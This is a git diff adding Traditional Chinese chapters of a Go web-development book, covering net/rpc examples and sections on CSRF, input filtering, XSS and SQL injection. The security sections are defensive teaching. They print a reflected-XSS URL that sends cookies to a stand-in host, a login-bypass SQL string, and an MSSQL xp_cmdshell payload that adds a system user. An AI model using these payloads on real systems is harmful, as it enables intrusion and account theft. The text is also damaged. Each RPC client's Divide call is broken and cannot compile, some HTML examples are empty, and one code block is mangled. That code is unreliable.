+- 函式還要有一個回傳值 error + +舉個例子,正確的 RPC 函式格式如下: + + func (t *T) MethodName(argType T1, replyType *T2) error + +T、T1 和 T2 型別必須能被`encoding/gob`套件編解碼。 + +任何的 RPC 都需要透過網路來傳遞資料,Go RPC 可以利用 HTTP 和 TCP 來傳遞資料,利用 HTTP 的好處是可以直接複用`net/http`裡面的一些函式。詳細的例子請看下面的實現 + +### HTTP RPC +http 的伺服器端程式碼實現如下: + +```Go +package main + +import ( + "errors" + "fmt" + "net/http" + "net/rpc" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +type Arith int + +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} + +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} + +func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } +} +``` + +透過上面的例子可以看到,我們註冊了一個 Arith 的 RPC 服務,然後透過`rpc.HandleHTTP`函式把該服務註冊到了 HTTP 協議上,然後我們就可以利用 http 的方式來傳遞資料了。 + +請看下面的客戶端程式碼: + +```Go +package main + +import ( + "fmt" + "log" + "net/rpc" + "os" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + +} +``` + +我們把上面的伺服器端和客戶端的程式碼分別編譯,然後先把伺服器端開啟,然後開啟客戶端,輸入程式碼,就會輸出如下資訊: + +```Go +$ ./http_c localhost +Arith: 17*8=136 +Arith: 17/8=2 remainder 1 +``` + +透過上面的呼叫可以看到參數和回傳值是我們定義的 struct 型別,在伺服器端我們把它們當做呼叫函式的參數的型別,在客戶端作為`client.Call`的第 2,3 兩個參數的型別。客戶端最重要的就是這個 Call 函式,它有 3 個參數,第 1 個要呼叫的函式的名字,第 2 個是要傳遞的參數,第 3 個要回傳的參數(注意是指標型別),透過上面的程式碼例子我們可以發現,使用 Go 的 RPC 實現相當的簡單,方便。 +### TCP RPC +上面我們實現了基於 HTTP 協議的 RPC,接下來我們要實現基於 TCP 協議的 RPC,伺服器端的實現程式碼如下所示: + +```Go +package main + +import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +type Arith int + +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} + +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} + +func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + +} + +func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } +} +``` + +上面這個程式碼和 http 的伺服器相比,不同在於 : 在此處我們採用了 TCP 協議,然後需要自己控制連線,當有客戶端連線上來後,我們需要把這個連線交給 rpc 來處理。 + +如果你留心了,你會發現這它是一個阻塞型的單使用者的程式,如果想要實現多併發,那麼可以使用 goroutine 來實現,我們前面在 socket 小節的時候已經介紹過如何處理 goroutine。 +下面展現了 TCP 實現的 RPC 客戶端: + +```Go +package main + +import ( + "fmt" + "log" + "net/rpc" + "os" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + +} +``` + +這個客戶端程式碼和 http 的客戶端程式碼對比,唯一的區別一個是 DialHTTP,一個是 Dial(tcp),其他處理一模一樣。 + +### JSON RPC +JSON RPC 是資料編碼採用了 JSON,而不是 gob 編碼,其他和上面介紹的 RPC 概念一模一樣,下面我們來示範一下,如何使用 Go 提供的 json-rpc 標準套件,請看伺服器端程式碼的實現: + +```Go +package main + +import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +type Arith int + +func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil +} + +func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil +} + +func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + +} + +func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } +} +``` + +透過範例我們可以看出 json-rpc 是基於 TCP 協議實現的,目前它還不支援 HTTP 方式。 + +請看客戶端的實現程式碼: + +```Go +package main + +import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" +) + +type Args struct { + A, B int +} + +type Quotient struct { + Quo, Rem int +} + +func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + +} +``` + +## 總結 +Go 已經提供了對 RPC 的良好支援,透過上面 HTTP、TCP、JSON RPC 的實現,我們就可以很方便的開發很多分散式的 Web 應用,我想作為讀者的你已經領會到這一點。但遺憾的是目前 Go 尚未提供對 SOAP RPC 的支援,欣慰的是現在已經有第三方的開源實現了。 + + + +## links + * [目錄]() + * 上一節:[REST](<08.3.md>) + * 下一節:[小結](<08.5.md>) diff --git a/zh-tw/08.5.md b/zh-tw/08.5.md new file mode 100644 index 000000000..2c48d49db --- /dev/null +++ b/zh-tw/08.5.md @@ -0,0 +1,6 @@ +# 8.5 小結 +這一章我們介紹了目前流行的幾種主要的網路應用開發方式,第一小節介紹了網路程式設計中的基礎 :Socket 程式設計,因為現在網路正在朝雲的方向快速進化,作為這一技術演進的基石的的 socket 知識,作為開發者的你,是必須要掌握的。第二小節介紹了正愈發流行的 HTML5 中一個重要的特性 WebSocket,透過它,伺服器可以實現主動的 push 訊息,以簡化以前 ajax 輪詢的模式。第三小節介紹了 REST 編寫模式,這種模式特別適合來開發網路應用 API,目前移動應用的快速發展,我覺得將來會是一個潮流。第四小節介紹了 Go 實現的 RPC 相關知識,對於上面四種開發方式,Go 都已經提供了良好的支援,net 套件及其子套件,是所有涉及到網路程式設計的工具的所在地。如果你想更加深入的了解相關實現細節,可以嘗試閱讀這個套件下面的原始碼。 +## links + * [目錄]() + * 上一節:[RPC](<08.4.md>) + * 下一章:[安全與加密](<09.0.md>) diff --git a/zh-tw/09.0.md b/zh-tw/09.0.md new file mode 100644 index 000000000..0594824ba --- /dev/null +++ b/zh-tw/09.0.md @@ -0,0 +1,20 @@ +# 9 安全與加密 +無論是開發 Web 應用的開發者還是企圖利用 Web 應用漏洞的攻擊者,對於 Web 程式安全這個話題都給予了越來越多的關注。特別是最近 CSDN 密碼洩露事件,更是讓我們對 Web 安全這個話題更加重視,所有人都談密碼色變,都開始檢測自己的系統是否存在漏洞。那麼我們作為一名 Go 程式的開發者,一定也需要知道我們的應用程式隨時會成為眾多攻擊者的目標,並提前做好防範的準備。 + +很多 Web 應用程式中的安全問題都是由於輕信了第三方提供的資料造成的。比如對於使用者的輸入資料,在對其進行驗證之前都應該將其視為不安全的資料。如果直接把這些不安全的資料輸出到客戶端,就可能造成跨站指令碼攻擊(XSS)的問題。如果把不安全的資料用於資料庫查詢,那麼就可能造成 SQL 注入問題,我們將會在 9.3、9.4 小節介紹如何避免這些問題。 + +在使用第三方提供的資料,包括使用者提供的資料時,首先檢驗這些資料的合法性非常重要,這個過程叫做過濾,我們將在 9.2 小節介紹如何保證對所有輸入的資料進行過濾處理。 + +過濾輸入和轉義輸出並不能解決所有的安全問題,我們將會在 9.1 講解的 CSRF 攻擊,會導致受騙者傳送攻擊者指定的請求從而造成一些破壞。 + +與安全加密相關的,能夠增強我們的 Web 應用程式的強大手段就是加密,CSDN 洩密事件就是因為密碼儲存的是明文,使得攻擊拿手函式庫之後就可以直接實施一些破壞行為了。不過,和其他工具一樣,加密手段也必須運用得當。我們將在 9.5 小節介紹如何儲存密碼,如何讓密碼儲存的安全。 + +加密的本質就是擾亂資料,某些不可還原的資料擾亂我們稱為單向加密或者雜湊演算法。另外還有一種雙向加密方式,也就是可以對加密後的資料進行解密。我們將會在 9.6 小節介紹如何實現這種雙向加密方式。 + +## 目錄 + ![](images/navi9.png) + +## links + * [目錄]() + * 上一章:[第八章總結](<08.5.md>) + * 下一節:[預防 CSRF 攻擊](<09.1.md>) diff --git a/zh-tw/09.1.md b/zh-tw/09.1.md new file mode 100644 index 000000000..ef4044c2a --- /dev/null +++ b/zh-tw/09.1.md @@ -0,0 +1,103 @@ +# 9.1 預防 CSRF 攻擊 + +## 什麼是 CSRF + +CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。 + +那麼 CSRF 到底能夠幹嘛呢?你可以這樣簡單的理解:攻擊者可以盜用你的登陸資訊,以你的身份模擬傳送各種請求。攻擊者只要藉助少許的社會工程學的詭計,例如透過 QQ 等聊天軟體傳送的連結(有些還偽裝成短域名,使用者無法分辨),攻擊者就能迫使 Web 應用的使用者去執行攻擊者預設的操作。例如,當用戶登入網路銀行去檢視其存款餘額,在他沒有退出時,就點選了一個 QQ 好友發來的連結,那麼該使用者銀行帳戶中的資金就有可能被轉移到攻擊者指定的帳戶中。 + +所以遇到 CSRF 攻擊時,將對終端使用者的資料和操作指令構成嚴重的威脅;當受攻擊的終端使用者具有管理員帳戶的時候,CSRF 攻擊將危及整個 Web 應用程式。 + +## CSRF 的原理 + +下圖簡單闡述了 CSRF 攻擊的思想 + +![](images/9.1.csrf.png) + +圖 9.1 CSRF 的攻擊過程 + +從上圖可以看出,要完成一次 CSRF 攻擊,受害者必須依次完成兩個步驟 : + +- 1.登入受信任網站 A,並在本地產生 Cookie 。 +- 2.在不退出 A 的情況下,訪問危險網站 B。 + +看到這裡,讀者也許會問:“如果我不滿足以上兩個條件中的任意一個,就不會受到 CSRF 的攻擊”。是的,確實如此,但你不能保證以下情況不會發生: + +- 你不能保證你登入了一個網站後,不再開啟一個 tab 頁面並訪問另外的網站,特別現在瀏覽器都是支援多 tab 的。 +- 你不能保證你關閉瀏覽器了後,你本地的 Cookie 立刻過期,你上次的會話已經結束。 +- 上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人訪問的網站。 + +因此對於使用者來說很難避免在登陸一個網站之後不點選一些連結進行其他操作,所以隨時可能成為 CSRF 的受害者。 + +CSRF 攻擊主要是因為 Web 的隱式身份驗證機制,Web 的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的。 + +## 如何預防 CSRF +過上面的介紹,讀者是否覺得這種攻擊很恐怖,意識到恐怖是個好事情,這樣會促使你接著往下看如何改進和防止類似的漏洞出現。 + +CSRF 的防禦可以從伺服器端和客戶端兩方面著手,防禦效果是從伺服器端著手效果比較好,現在一般的 CSRF 防禦也都在伺服器端進行。 + +伺服器端的預防 CSRF 攻擊的方式方法有多種,但思想上都是差不多的,主要從以下 2 個方面入手: + +- 1、正確使用 GET,POST 和 Cookie; +- 2、在非 GET 請求中增加偽隨機數; + +我們上一章介紹過 REST 方式的 Web 應用,一般而言,普通的 Web 應用都是以 GET、POST 為主,還有一種請求是 Cookie 方式。我們一般都是按照如下方式設計應用: + +1、GET 常用在檢視,列舉,展示等不需要改變資源屬性的時候; + +2、POST 常用在下達訂單,改變一個資源的屬性或者做其他一些事情; + +接下來我就以 Go 語言來舉例說明,如何限制對資源的訪問方法: + +```Go +mux.Get("/user/:uid", getuser) +mux.Post("/user/:uid", modifyuser) +``` + +這樣處理後,因為我們限定了修改只能使用 POST,當 GET 方式請求時就拒絕回應,所以上面圖示中 GET 方式的 CSRF 攻擊就可以防止了,但這樣就能全部解決問題了嗎?當然不是,因為 POST 也是可以模擬的。 + +因此我們需要實施第二步,在非 GET 方式的請求中增加隨機數,這個大概有三種方式來進行: + +- 為每個使用者產生一個唯一的 cookie token,所有表單都包含同一個偽隨機值,這種方案最簡單,因為攻擊者不能獲得第三方的 Cookie(理論上),所以表單中的資料也就構造失敗,但是由於使用者的 Cookie 很容易由於網站的 XSS 漏洞而被盜取,所以這個方案必須要在沒有 XSS 的情況下才安全。 +- 每個請求使用驗證碼,這個方案是完美的,因為要多次輸入驗證碼,所以使用者友好性很差,所以不適合實際運用。 +- 不同的表單包含一個不同的偽隨機值,我們在 4.4 小節介紹“如何防止表單多次提交”時介紹過此方案,複用相關程式碼,實現如下: + +產生隨機數 token + +```Go +h := md5.New() +io.WriteString(h, strconv.FormatInt(crutime, 10)) +io.WriteString(h, "ganraomaxxxxxxxxx") +token := fmt.Sprintf("%x", h.Sum(nil)) + +t, _ := template.ParseFiles("login.gtpl") +t.Execute(w, token) +``` + +輸出 token +```html + + +``` + +驗證 token + +```Go +r.ParseForm() +token := r.Form.Get("token") +if token != "" { + //驗證 token 的合法性 +} else { + //不存在 token 報錯 +} +``` + +這樣基本就實現了安全的 POST,但是也許你會說如果破解了 token 的演算法呢,按照理論上是,但是實際上破解是基本不可能的,因為有人曾計算過,暴力破解該串大概需要 2 的 11 次方時間。 + +## 總結 +跨站請求偽造,即 CSRF,是一種非常危險的 Web 安全威脅,它被 Web 安全界稱為“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。本小節不僅對跨站請求偽造本身進行了簡單介紹,還詳細說明造成這種漏洞的原因所在,然後以此提了一些防範該攻擊的建議,希望對讀者編寫安全的 Web 應用能夠有所啟發。 + +## links + * [目錄]() + * 上一節:[安全與加密](<09.0.md>) + * 下一節:[確保輸入過濾](<09.2.md>) diff --git a/zh-tw/09.2.md b/zh-tw/09.2.md new file mode 100644 index 000000000..ea895c7a1 --- /dev/null +++ b/zh-tw/09.2.md @@ -0,0 +1,78 @@ +# 9.2 確保輸入過濾 +過濾使用者資料是 Web 應用安全的基礎。它是驗證資料合法性的過程。透過對所有的輸入資料進行過濾,可以避免惡意資料在程式中被誤信或誤用。大多數 Web 應用的漏洞都是因為沒有對使用者輸入的資料進行恰當過濾所引起的。 + +我們介紹的過濾資料分成三個步驟: + +- 1、識別資料,搞清楚需要過濾的資料來自於哪裡 +- 2、過濾資料,弄明白我們需要什麼樣的資料 +- 3、區分已過濾及被汙染資料,如果存在攻擊資料那麼保證過濾之後可以讓我們使用更安全的資料 + +## 識別資料 +“識別資料”作為第一步是因為在你不知道“資料是什麼,它來自於哪裡”的前提下,你也就不能正確地過濾它。這裡的資料是指所有源自非程式碼內部提供的資料。例如 : 所有來自客戶端的資料,但客戶端並不是唯一的外部資料來源,資料庫和第三方提供的介面資料等也可以是外部資料來源。 + +由使用者輸入的資料我們透過 Go 非常容易識別,Go 透過`r.ParseForm`之後,把使用者 POST 和 GET 的資料全部放在了`r.Form`裡面。其它的輸入要難識別得多,例如,`r.Header`中的很多元素是由客戶端所操縱的。常常很難確認其中的哪些元素組成了輸入,所以,最好的方法是把裡面所有的資料都看成是使用者輸入。(例如`r.Header.Get("Accept-Charset")`這樣的也看做是使用者輸入,雖然這些大多數是瀏覽器操縱的) + +## 過濾資料 +在知道資料來源之後,就可以過濾它了。過濾是一個有點正式的術語,它在平時表述中有很多同義詞,如驗證、清潔及淨化。儘管這些術語表面意義不同,但它們都是指的同一個處理:防止非法資料進入你的應用。 + +過濾資料有很多種方法,其中有一些安全性較差。最好的方法是把過濾看成是一個檢查的過程,在你使用資料之前都檢查一下看它們是否是符合合法資料的要求。而且不要試圖好心地去糾正非法資料,而要讓使用者按你制定的規則去輸入資料。歷史證明了試圖糾正非法資料往往會導致安全漏洞。這裡舉個例子:“最近建設銀行系統升級之後,如果密碼後面兩位是 0,只要輸入前面四位就能登入系統”,這是一個非常嚴重的漏洞。 + +過濾資料主要採用如下一些函式庫來操作: + +- strconv 套件下面的字串轉化相關函式,因為從 Request 中的`r.Form`回傳的是字串,而有些時候我們需要將之轉化成整/浮點數,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函式就可以派上用場了。 +- string 套件下面的一些過濾函式`Trim`、`ToLower`、`ToTitle`等函式,能夠幫助我們按照指定的格式取得資訊。 +- regexp 套件用來處理一些複雜的需求,例如判定輸入是否是 Email、生日之類別。 + +過濾資料除了檢查驗證之外,在特殊時候,還可以採用白名單。即假定你正在檢查的資料都是非法的,除非能證明它是合法的。使用這個方法,如果出現錯誤,只會導致把合法的資料當成是非法的,而不會是相反,儘管我們不想犯任何錯誤,但這樣總比把非法資料當成合法資料要安全得多。 + +## 區分過濾資料 +如果完成了上面的兩步,資料過濾的工作就基本完成了,但是在編寫 Web 應用的時候我們還需要區分已過濾和被汙染資料,因為這樣可以保證過濾資料的完整性,而不影響輸入的資料。我們約定把所有經過過濾的資料放入一個叫全域性的 Map 變數中(CleanMap)。這時需要用兩個重要的步驟來防止被汙染資料的注入: +- 每個請求都要初始化 CleanMap 為一個空 Map。 +- 加入檢查及阻止來自外部資料來源的變數命名為 CleanMap。 + +接下來,讓我們透過一個例子來鞏固這些概念,請看下面這個表單 +```html + +
+ 我是誰: + + +
+``` + +在處理這個表單的程式設計邏輯中,非常容易犯的錯誤是認為只能提交三個選擇中的一個。其實攻擊者可以模擬 POST 操作,提交 `name=attack` 這樣的資料,所以在此時我們需要做類似白名單的處理 + +```Go +r.ParseForm() +name := r.Form.Get("name") +CleanMap := make(map[string]interface{}, 0) +if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name +} +``` + +上面程式碼中我們初始化了一個 CleanMap 的變數,當判斷取得的 name 是`astaxie`、`herry`、`marry`三個中的一個之後 +,我們把資料儲存到了 CleanMap 之中,這樣就可以確保 CleanMap["name"]中的資料是合法的,從而在程式碼的其它部分使用它。當然我們還可以在 else 部分增加非法資料的處理,一種可能是再次顯示錶單並提示錯誤。但是不要試圖為了友好而輸出被汙染的資料。 + +上面的方法對於過濾一組已知的合法值的資料很有效,但是對於過濾有一組已知合法字元組成的資料時就沒有什麼幫助。例如,你可能需要一個使用者名稱只能由字母及數字組成: + +```Go +r.ParseForm() +username := r.Form.Get("username") +CleanMap := make(map[string]interface{}, 0) +if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok { + CleanMap["username"] = username +} +``` + +## 總結 +資料過濾在 Web 安全中起到一個基石的作用,大多數的安全問題都是由於沒有過濾資料和驗證資料引起的,例如前面小節的 CSRF 攻擊,以及接下來將要介紹的 XSS 攻擊、SQL 注入等都是沒有認真地過濾資料引起的,因此我們需要特別重視這部分的內容。 + +## links + * [目錄]() + * 上一節:[預防 CSRF 攻擊](<09.1.md>) + * 下一節:[避免 XSS 攻擊](<09.3.md>) diff --git a/zh-tw/09.3.md b/zh-tw/09.3.md new file mode 100644 index 000000000..64eb83a5f --- /dev/null +++ b/zh-tw/09.3.md @@ -0,0 +1,56 @@ +# 9.3 避免 XSS 攻擊 +隨著網際網路技術的發展,現在的 Web 應用都含有大量的動態內容以提高使用者體驗。所謂動態內容,就是應用程式能夠根據使用者環境和使用者請求,輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。 + +## 什麼是 XSS + +XSS 攻擊:跨站指令碼攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為 XSS。XSS 是一種常見的 web 安全漏洞,它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者),XSS 涉及到三方,即攻擊者、客戶端與 Web 應用。XSS 的攻擊目標是為了盜取儲存在客戶端的 cookie 或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後,攻擊者甚至可以假冒合法使用者與網站進行互動。 + +XSS 通常可以分為兩大類別:一類別是儲存型 XSS,主要出現在讓使用者輸入資料,供其他瀏覽此頁的使用者進行檢視的地方,包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的指令碼資料後,使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述為 : 惡意使用者的 Html 輸入 Web 程式->進入資料庫->Web 程式->使用者瀏覽器。另一類別是反射型 XSS,主要做法是將指令碼程式碼加入 URL 地址的請求參數裡,請求參數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。 + +XSS 目前主要的手段和目的如下: + +- 盜用 cookie,取得敏感資訊。 +- 利用植入 Flash,透過 crossdomain 許可權設定進一步取得更高許可權;或者利用 Java 等得到類似的操作。 +- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻擊者)使用者的身份執行一些管理動作,或執行一些如 : 發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次 XSS。 +- 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。 +- 在訪問量極大的一些頁面上的 XSS 可以攻擊一些小型網站,實現 DDoS 攻擊的效果 + +## XSS 的原理 +Web 應用未對使用者提交請求的資料做充分的檢查過濾,允許使用者在提交的資料中摻入 HTML 程式碼(最主要的是“>”、“<”),並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行,是導致 XSS 漏洞的產生原因。 + +接下來以反射性 XSS 舉例說明 XSS 的過程:現在有一個網站,根據參數輸出使用者的名稱,例如訪問 url:`http://127.0.0.1/?name=astaxie`,就會在瀏覽器輸出如下資訊: + + hello astaxie + +如果我們傳遞這樣的 url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了 XSS 漏洞。那麼惡意使用者是如何盜取 Cookie 的呢?與上類似,如下這樣的 url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,這樣就可以把當前的 cookie 傳送到指定的站點:`www.xxx.com`。你也許會說,這樣的 URL 一看就有問題,怎麼會有人點選?,是的,這類別的 URL 會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?攻擊者將縮短過後的 url 透過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的 url,相應 cookie 資料就會被髮送事先設定好的站點,這樣子就盜得了使用者的 cookie 資訊,然後就可以利用 Websleuth 之類別的工具來檢查是否能盜取那個使用者的賬戶。 + +更加詳細的關於 XSS 的分析大家可以參考這篇叫做《[新浪微博 XSS 事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 + +## 如何預防 XSS + +答案很簡單,堅決不要相信使用者的任何輸入,並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的 XSS 攻擊。 + +目前防禦 XSS 主要有如下幾種方式: + +- 過濾特殊字元 + + 避免 XSS 的方法之一主要是將使用者所提供的內容進行過濾,Go 語言提供了 HTML 的過濾函式: + + text/template 套件下面的 HTMLEscapeString、JSEscapeString 等函式 + +- 使用 HTTP 頭指定型別 + +```Go + +`w.Header().Set("Content-Type","text/javascript")` + +這樣就可以讓瀏覽器解析 javascript 程式碼,而不會是 html 輸出。 +``` + +## 總結 +XSS 漏洞是相當有危害的,在開發 Web 應用的時候,一定要記住過濾資料,特別是在輸出到客戶端之前,這是現在行之有效的防止 XSS 的手段。 + +## links + * [目錄]() + * 上一節:[確保輸入過濾](<09.2.md>) + * 下一節:[避免 SQL 注入](<09.4.md>) diff --git a/zh-tw/09.4.md b/zh-tw/09.4.md new file mode 100644 index 000000000..08321c0d0 --- /dev/null +++ b/zh-tw/09.4.md @@ -0,0 +1,83 @@ +# 9.4 避免 SQL 注入 +## 什麼是 SQL 注入 +SQL 注入攻擊(SQL Injection),簡稱注入攻擊,是 Web 開發中最常見的一種安全漏洞。可以用它來從資料庫取得敏感資訊,或者利用資料庫的特性執行新增使用者,匯出檔案等一系列惡意操作,甚至有可能取得資料庫乃至系統使用者最高許可權。 + +而造成 SQL 注入的原因是因為程式沒有有效過濾使用者的輸入,使攻擊者成功的向伺服器提交惡意的 SQL 查詢程式碼,程式在接收後錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意程式碼。 +## SQL 注入範例 +很多 Web 開發者沒有意識到 SQL 查詢是可以被篡改的,從而把 SQL 查詢當作可信任的命令。殊不知,SQL 查詢是可以繞開訪問控制,從而繞過身份驗證和許可權檢查的。更有甚者,有可能透過 SQL 查詢去執行主機系統級的命令。 + +下面將透過一些真實的例子來詳細講解 SQL 注入的方式。 + +考慮以下簡單的登入表單: +```html + +
+

Username:

+

Password:

+

+
+``` + +我們的處理裡面的 SQL 可能是這樣的: + +```Go + +username:=r.Form.Get("username") +password:=r.Form.Get("password") +sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" +``` + +如果使用者的輸入的使用者名稱如下,密碼任意 + +```Go + +myuser' or 'foo' = 'foo' -- +``` + +那麼我們的 SQL 變成了如下所示: + +```Go + +SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' +``` +在 SQL 裡面`--`是註釋標記,所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法使用者名稱和密碼的情況下成功登入了。 + +對於 MSSQL 還有更加危險的一種 SQL 注入,就是控制系統,下面這個可怕的例子將示範如何在某些版本的 MSSQL 資料庫上執行系統命令。 + +```Go + +sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" +Db.Exec(sql) +``` +如果攻擊提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作為變數 prod 的值,那麼 sql 將會變成 + +```Go + +sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" +``` +MSSQL 伺服器會執行這條 SQL 語句,包括它後面那個用於向系統新增新使用者的命令。如果這個程式是以 sa 執行而 MSSQLSERVER 服務又有足夠的許可權的話,攻擊者就可以獲得一個系統帳號來訪問主機了。 + +>雖然以上的例子是針對某一特定的資料庫系統的,但是這並不代表不能對其它資料庫系統實施類似的攻擊。針對這種安全漏洞,只要使用不同方法,各種資料庫都有可能遭殃。 + + +## 如何預防 SQL 注入 +也許你會說攻擊者要知道資料庫結構的資訊才能實施 SQL 注入攻擊。確實如此,但沒人能保證攻擊者一定拿不到這些資訊,一旦他們拿到了,資料庫就存在洩露的危險。如果你在用開放原始碼的軟體套件來訪問資料庫,比如論壇程式,攻擊者就很容易得到相關的程式碼。如果這些程式碼設計不良的話,風險就更大了。目前 Discuz、phpwind、phpcms 等這些流行的開源程式都有被 SQL 注入攻擊的先例。 + +這些攻擊總是發生在安全性不高的程式碼上。所以,永遠不要信任外界輸入的資料,特別是來自於使用者的資料,包括選擇框、表單隱藏域和 cookie。就如上面的第一個例子那樣,就算是正常的查詢也有可能造成災難。 + +SQL 注入攻擊的危害這麼大,那麼該如何來防治呢 ? 下面這些建議或許對防治 SQL 注入有一定的幫助。 + +1. 嚴格限制 Web 應用的資料庫的操作許可權,給此使用者提供僅僅能夠滿足其工作的最低許可權,從而最大限度的減少注入攻擊對資料庫的危害。 +2. 檢查輸入的資料是否具有所期望的資料格式,嚴格限制變數的型別,例如使用 regexp 套件進行一些匹配處理,或者使用 strconv 套件對字串轉化成其他基本型別的資料進行判斷。 +3. 對進入資料庫的特殊字元('"\尖括號&*;等)進行轉義處理,或編碼轉換。Go 的`text/template`套件裡面的 `HTMLEscapeString` 函式可以對字串進行轉義處理。 +4. 